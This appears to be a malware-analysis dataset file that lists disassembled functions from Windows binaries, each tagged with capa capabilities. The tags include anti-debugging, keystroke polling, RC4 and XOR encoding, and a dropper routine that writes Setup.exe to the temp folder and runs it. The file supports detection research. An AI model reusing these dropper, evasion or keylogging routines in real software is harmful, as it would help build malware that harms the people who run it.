joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401290
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.Setup.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0xc]
mov ecx, ebx
push eax
and ecx, 3
push 0x4090c0
push 0x67
rep movsb byte es:[edi], byte [esi]
push 0
call fcn.00401050
add esp, 0x10
lea ecx, [esp + 0xc]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x401310
Capabilities:
Create process on windows
Delete file

Disassembly:
sub esp, 0x300
push esi
push edi
call fcn.00401000
call fcn.00401290
push 0x3fe66666
push 0x66666666
call fcn.00401030
add esp, 8
call fcn.00401110
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, eax
push str.Shadow_XB__config_task.xml
push esi
lea eax, [esp + 0x210]
push str._s_s
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x108]
push str.Shadow_XB__configconfig.xml
push esi
push str._s_s
push ecx
call edi
add esp, 0x10
lea edx, [esp + 8]
push str.Binxiaobai.exe
push esi
push str._s_s
push edx
call edi
push 0x3fe66666
push 0x66666666
call fcn.00401030
add esp, 0x18
call fcn.004010d0
lea eax, [esp + 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x108]
push ecx
push 0x4090c0
push 0x6a
push 0
call fcn.00401050
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
push 0x1f40
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
lea edx, [esp + 8]
push 0
push edx
call edi
push 0x40000000
push 0
call fcn.00401030
add esp, 8
call fcn.004010d0
push 0x1f40
call esi
lea eax, [esp + 8]
push 0
push eax
call edi
pop edi
xor eax, eax
pop esi
add esp, 0x300
ret 0x10
Function at 0x4a5bcd
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dh, ah
call fcn.004a5bcd
not dx
btr eax, ecx
jnp 0x4a5bdd
rdtsc
jmp 0x4a5c17
pop word [esp]
lea esp, [esp + 2]
sub edi, 4
setbe ah
jmp 0x4a5b9e
rdtsc
call fcn.004a5c01
fist dword [ecx - 0x3f]
mov al, byte [0xd25be553]
inc eax
daa
shr byte [ebx + edx*8 + 0x4a], cl
in eax, 0x14
lea edx, [ebp + ebp]
lea esp, [esp + 2]
and ecx, 0x3c
jmp 0x4a5b97
mov edx, dword [ecx + esi]
sete ch
mov al, byte [esp]
sub esp, 0x1c
jmp 0x4a5d29
mov dword [edi], edx
mov ax, sp
rdtsc
mov cx, 0xea13
jmp fcn.004a5cce
jge 0x4a5c7f
jl 0x4a5c7f
bswap eax
mov ax, 0x6edb
xchg edx, eax
push dword [esp]
ret 4

Function at 0x4a7353
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf04963e0
call fcn.004a7400
mov dl, 0xc0
rol dword [eax], 0xf8
jmp 0x4a6fb5
jbe 0x4a6f2c
setnp ah
mov eax, dword [esp]
jmp 0x4a7023
rdtsc
mov ax, word [esp]
jmp 0x4a6ffb
mov byte [esp + 6], cl
jmp 0x4a73b8
mov dword [esp + 0xc], edi
lea esp, [esp + 0xc]
pushfd
jmp 0x4a6fa0

Function at 0x4a743f
Capabilities:
Execute anti-debugging instructions

Disassembly:
call 0x4a73e3
mov ebp, dword [esp + 0x2c]
rdtsc
mov ax, cx
lea eax, reloc.MFC42.DLL_CWnd::OnCommand
jmp 0x4a747c
lea edi, [esp]
rdtsc
cpuid
mov dx, word [esp]
call fcn.004a7502
and eax, 0xba4f28ba
jnp 0x4a7498
lahf
punpckhdq mm3, qword [ecx + 0x66f06d66]
add eax, esi
inc edi
insd dword es:[edi], dx
insd dword es:[edi], dx
invalid
Function at 0x57eba2
Capabilities:
Execute anti-debugging instructions

Disassembly:
setge ch
xor ch, cl
mov si, 0xa3c4
neg dx
lea esi, [ecx + ebp]
jmp 0x57eaae
rdtsc
rdtsc
cld
or bl, al
xchg edx, ebp
bswap eax
jmp 0x57ea8b
mov ch, ah
lea edx, [eax + edx]
mov dl, byte [esp]
bsf eax, ecx
not bp
mov di, 0x3016
jmp 0x57eae5
xchg bl, ch
mov esi, dword [esp]
bswap edx
rol dh, 3
rdtsc
dec eax
jmp 0x57eaa1
sub esp, 0x1c
mov ah, dl
cpuid
pop ecx
mov ebp, dword [esp + 1]
rdtsc
jmp 0x57eb39
lea ecx, [ebp*4]
dec bx
std
not di
mov dword [esp + 0xf], esi
rdtsc
jmp 0x57eb23
mov cx, 0xfa49
xchg edx, ecx
lea ecx, [eax*4]
dec ebp
mov cx, dx
xor eax, ebx
jmp 0x57ead6
push word [esp + 0x13]
xchg esi, eax
lea esi, [ebx*4]
mov ebp, ebx
jmp 0x57eb76
push word [esp + 0x15]
xchg dword [esp + 9], edx
pop bp
jmp 0x57eaf5
bswap ebx
not ah
pop ebx
bswap esi
cpuid
mov esi, 0x5f522d97
jmp 0x57eb0e
pop dword [esp + 4]
lea edi, [ebp - 0x45]
shr dh, 7
sub ch, dl
jmp 0x57ec9d
lea edx, [esp + esi]
pushfd
push word [esp + 0x1c]
mov ah, 0xe8
lea edx, reloc.MFC42.DLL_CWnd::OnCommand
setge ah
jmp 0x57eb60
mov ah, byte [esp + 2]
not bx
cpuid
mov dl, byte [esp]
lea ebp, [edx + edi]
jmp 0x57eb50
dec ah
sub esp, 0xe
setbe bl
cmp ah, 0xe3
call fcn.0057ebde
xchg byte [esp + 2], ch
mov di, dx
mov word [esp + 1], di
not ebp
xchg ebp, eax
jmp 0x57ec69
pop bp
rdtsc
lea esi, [ebp + 0x94]
not ah
mov ax, bx
cmc
jmp 0x57ec7b
xchg dword [esp], edx
std
dec dl
mov dl, 0x28
pop word [esp]
mov word [esp], di
jmp 0x57ec49
neg dx
mov bl, byte [esp]
lea ebx, [ecx*4]
bswap edx
mov bx, si
inc dh
jmp 0x57ecd0
xchg word [esp + 2], bx
lea ebx, [edx + esi]
mov esi, dword [esp + 5]
not dx
pop word [esp + 1]
mov dword [esp + 0x11], eax
jmp 0x57ec12
mov ecx, ebx
xchg di, si
lea eax, [edi*4]
jmp 0x57ed01
not ax
xchg edi, esi
std
lea esi, [ecx + edi]
cmp dx, 0x2097
stc
jmp 0x57ecba
mov bp, word [esp + 0xb]
add esp, 1
lea esp, [esp + 3]
not bl
sub esp, 7
push dword [esp + 2]
jmp 0x57ed31
mov edi, 0x8c21d8c7
sub esp, 0xd
bswap eax
mov dx, word [esp + 3]
mov cx, word [esp + 0xa]
xchg dword [esp + 6], ebp
jmp 0x57ece1
xchg dword [esp + 0x28], ebx
xchg bx, di
rdtsc
lea edi, [ebx + edi]
not edi
jmp 0x57ed60
mov dword [esp + 8], ecx
push dword [esp + 6]
cpuid
pushal
lea eax, [esi*4]
push word [esp + 0x1d]
jmp 0x57ed1b
setle ah
not ah
xchg bl, cl
mov cx, si
lea ebp, reloc.MFC42.DLL_CWnd::OnCommand
call fcn.0057ed8d
or dword [ebp - reloc.MFC42.DLL_CWnd::OnCommand], 0xffffffff
lea edi, reloc.MFC42.DLL_CWnd::OnCommand
xchg word [esp + 0x27], dx
pushal
lea esp, [esp + 0x5a]
not si
dec bl
jmp 0x57ed4a

Function at 0x57ebc5
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 1], edx
jmp 0x57ebeb
pop dword [esp + 4]
mov byte [esp + 7], ah
xchg ch, ah
bts bx, bx
ror al, cl
pop dword [esp + 2]
jmp 0x57ec38
clc
bt ecx, ecx
pop dword [esp]
mov dh, cl
rcl dh, 3
btc edx, esp
jmp 0x57ec22

Function at 0x57ef6b
Capabilities:
Execute anti-debugging instructions

Disassembly:
btr bp, dx
mov si, word [esp + 2]
xchg dword [esp], ecx
pop word [esp]
mov dl, byte [esp]
jmp 0x57edca
Function at 0x57f97c
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg byte [esp + 5], al
mov bp, bx
mov dl, ch
mov bh, byte [esp + 3]
jmp 0x57f9c6
xchg word [esp + 7], bp
sub esp, 0x14
xchg ebp, edx
lea ebx, reloc.MFC42.DLL_CWnd::OnCommand
setg bh
bts ebx, esi
jmp 0x57f9a0

Function at 0x57fbff
Capabilities:
Execute anti-debugging instructions

Disassembly:
push word [esp + 2]
xchg bp, cx
not bp
neg cx
bswap ecx
mov ah, 0x63
jmp 0x57fc19
push ax
jmp 0x57fbd7
pop word [esp + 2]
pop ebp
bsf edi, ebp
lea ebp, [ebx + ebp]
dec bh
jmp 0x57fc59
push bp
mov bp, 0x4511
setnp ah
clc
xchg edx, ebp
pop dword [esp]
jmp 0x57fc03
mov ebp, dword [esp]
sub esp, 0x1d
mov dword [esp + 6], esi
pop word [esp + 0xd]
sub esp, 0xb
xor dh, 3
jmp 0x57fc43
Function at 0x580005
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ebx, dword [esp + 3]
xchg dword [esp + 0xa], ecx
bswap ebp
not bx
jmp 0x57ff6a
lea esp, [esp + 8]
sbb ax, ax
xchg al, bl
cpuid
lea esp, [esp + 2]
call fcn.0057ffc1
mov dl, ch
clc
mov edx, dword [esp + 8]
sub esp, 9
mov eax, 0x6e5f9106
jmp 0x57ffab
neg bp
mov bl, 0xae
mov byte [esp + 6], cl
pop ebx
bsf ebx, ecx
jmp 0x57ffc8
lea edi, [edi*4]
xchg dword [esp + 8], eax
setbe bh
clc
jmp 0x57fffb
dec di
pop dx
call 0x580005
cmp al, 0x66
mov esi, 0x648d1ff4
and al, 2
lea ebp, [esi*4]
pop ebx
jmp 0x580087
bswap ecx
xchg ebp, esi
push dword [esp + 0x25]
bswap ecx
pop dword [esp + 6]
jmp 0x58005d
cmc
xchg byte [esp + 0x25], ch
inc cx
mov ch, 0xa2
not bx
dec dx
jmp 0x580037
lea ecx, [esi*4]
xchg si, ax
lea edi, [ebp*4]
pop bx
push dword [esp + 0x11]
push word [esp + 4]
jmp 0x58038d
xchg si, bx
push dword [esp + 3]
push word [esp + 0x12]
sub esp, 0x12
cpuid
xchg dword [esp + 0x19], ebp
jmp 0x58004d
rdtsc
pop ax
rdtsc
add esp, 0
setno dh
setno cl
jmp 0x580167
mov byte [esp + 6], al
xchg byte [esp + 6], cl
mov dword [esp + 1], ecx
pop dx
mov cx, bx
pop cx
jmp 0x58009e
std
btr ebx, edi
lea esp, [esp]
lea esp, [esp]
rcr edi, cl
mov bl, 0x6b
jmp 0x580127
cld
lea ecx, reloc.MFC42.DLL_CWnd::OnCommand
cpuid
mov si, ax
lea ecx, [eax + 8]
bswap edi
jmp 0x5800c9
bswap esi
xchg si, cx
mov edx, dword [esp]
mov ebp, dword [esp]
mov ah, dl
mov ah, bl
call fcn.00580108
pop dword [esp]
cpuid
add esp, 1
pop esi
bswap esi
call fcn.00580111
sub esp, 0x17
push dword [esp + 0x12]
bsf edx, ebp
mov dh, 0x6c
btr eax, esi
add esp, 0x19
jmp 0x58017c
xchg word [esp], ax
not eax
xchg byte [esp + 1], bl
pop eax
xchg al, dl
add cx, bx
jmp 0x5800df
xor ebx, edx
mov dword [esp], edi
mov ebp, edx
xchg dword [esp], eax
mov ax, cx
not eax
jmp 0x580256
cpuid
lea ecx, reloc.MFC42.DLL_CWnd::OnCommand
neg ebp
xchg ebp, edi
cld
lea ebx, reloc.MFC42.DLL_CWnd::OnCommand
jmp 0x5800b4
mov edi, 0xa401ac7e
mov dx, cx
cld
sub esp, 1
pop word [esp + 3]
call int.005801e9
add ecx, dword [ecx + reloc.MFC42.DLL_CWnd::OnCommand]
test al, 0xcb
bound ebx, qword [ebp + 0x16ec83ec]
sub esp, 0x16
sub esp, 0x18
pop dx
mov word [esp + 7], di
stc
pop word [esp + 0x1d]
jmp 0x5801b3
push dword [esp + 1]
lea edx, [edx + ebx]
mov cx, 0x4e3e
setg dl
stc
pop cx
jmp 0x5801d4
cpuid
pop word [esp + 1]
mov byte [esp + 2], bl
mov word [esp], si
xchg bx, cx
push word [esp + 2]
jmp 0x580205
xchg bh, dl
popal
xchg ebx, esi
cmc
clc
lea edx, [ecx*4]
jmp 0x58019b
inc ebp
lea ecx, [esp + eax]
sub esp, 2
setle bl
pop word [esp + 0xe]
mov esi, 0x1693fe71
jmp 0x5802fa
Function at 0x5801e9
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edx, reloc.MFC42.DLL_CWnd::OnCommand
jmp 0x58022e
bsr ebx, edx
bsr si, bp
bswap ecx
push ecx
bsr ebp, eax
sbb dx, sp
jmp 0x58023f
sub esp, 0x18
lea esp, [esp + 0x4d]
rdtsc
inc eax
neg ah
xchg bx, di
jmp 0x580218
xchg dword [esp], ebp
lea esp, [esp + 3]
rdtsc
mov bp, dx
rdtsc
rdtsc
jmp 0x5802b7
neg bx
mov cl, byte [esp]
add esp, 0
bts esi, edi
add esp, 0
jmp 0x580299
mov bh, bl
shr edi, 0x19
sub ebp, 0xefb677f4
lea ecx, [eax + esi]
setp al
clc
jmp 0x58026f
xchg ah, bl
mov byte [esp + 1], bl
cmc
neg ebx
push ebx
xchg bp, di
jmp 0x5802e0
inc edx
pushfd
setns cl
mov cx, word [esp + 1]
pop word [esp]
neg di
jmp 0x580285
cmc
xchg byte [esp + 5], ch
mov word [esp], cx
xchg bx, cx
call fcn.00580353
ja 0x58033b
test eax, 0xd3666bc8
iretd
ror di, cl
mov al, 0x53
neg al
cpuid
xchg byte [esp + 4], al
bswap ebp
jmp 0x5802ca
ror dword [eax - reloc.MFC42.DLL_CWnd::OnCommand], 1
in al, dx
adc dword [ebp - reloc.MFC42.DLL_CWnd::OnCommand], ecx
and al, 0x14
jmp 0x580373
push eax
call fcn.005803c0
test al, 0x3f
scasd eax, dword es:[edi]
retf 0xb639
popfd
lea esp, [esp + 4]
jmp 0x58035d
Function at 0x4157c0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48ae2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047b419
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415842
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004788ea
mov eax, dword [eax]
push 0x4ad210
push eax
call fcn.0046b4a4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047b6a4
test bl, bl
je 0x415842
push 0x4ad210
lea ecx, [esp + 0xc]
call fcn.0047ba80
push 0x4b0d8c
lea ecx, [esp + 0xc]
call fcn.0047ba80
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41587e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047b6a4
jmp 0x415949
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415902
lea edx, [esp + 0x7c]
push 0x4b0d88
push edx
call fcn.0046b4a4
add esp, 8
test eax, eax
je 0x415902
lea eax, [esp + 0x7c]
push 0x4b0d84
push eax
call fcn.0046b4a4
add esp, 8
test eax, eax
je 0x415902
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415892
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047b6a4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x416140
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4161a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4161b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48aeab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4b7800]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4162e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x416216
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047b6a4
xor eax, eax
jmp 0x41635f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0047b82d
push esi
lea ecx, [esp + 0xc]
call fcn.0047babc
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41633d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00416140
test eax, eax
jne 0x41633d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00416140
test eax, eax
jne 0x41633d
lea eax, [esp + 0x14]
push 0x4b0da0
push eax
call fcn.0046c650
mov esi, eax
add esp, 8
test esi, esi
jne 0x41631c
lea ecx, [esp + 0x14]
push 0x4b0d9c
push ecx
call fcn.0046c5d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41631c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41631f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047b7dd
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41622e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047b6a4
xor eax, eax
jmp 0x41635f
mov byte [esi], 0
push 0x4b0d98
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0047b6a4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x428070
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4280de
cmp si, 0x69
ja 0x4280de
add esi, 0xffd0
cmp si, 0x11
je 0x4280ae
push 0x11
call edi
test ax, ax
jge 0x4280ae
or esi, 0x2000
cmp si, 0x10
je 0x4280c3
push 0x10
call edi
test ax, ax
jge 0x4280c3
or esi, 0x4000
cmp si, 0x12
je 0x4280d8
push 0x12
call edi
test ax, ax
jge 0x4280d8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4280eb
mov esi, 0xbd
jmp 0x42809f
cmp si, 0x6e
jne 0x4280f8
mov esi, 0xbe
jmp 0x42809f
cmp si, 0x6f
jne 0x428099
mov esi, 0xbf
jmp 0x42809f

Function at 0x429930
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4c8690]
xor edx, edx
cmp eax, edx
jne 0x429956
xor eax, eax
mov byte [eax + 0x4c8590], al
inc eax
cmp eax, 0x100
jl 0x42993e
mov dword [0x4c8690], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4c8590
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4299e7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4299ba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x429988
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x429a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x429ab3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x429a9a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4304f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x430688
cmp ebp, ebx
jle 0x430688
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x43054e
dec eax
or eax, 0xfffffff8
inc eax
je 0x430555
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x430564
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x43056b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0047b3e5
add esp, 4
cmp eax, ebx
je 0x43058c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0047b3e5
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x43067e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x430665
mov al, byte [edx]
cmp al, 0xc0
jbe 0x430651
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x430646
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x430654
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x430654
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4305f0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4305e1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4338f0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48c558
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x433929
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004845c1
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00484649
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.004339b0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00484686
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24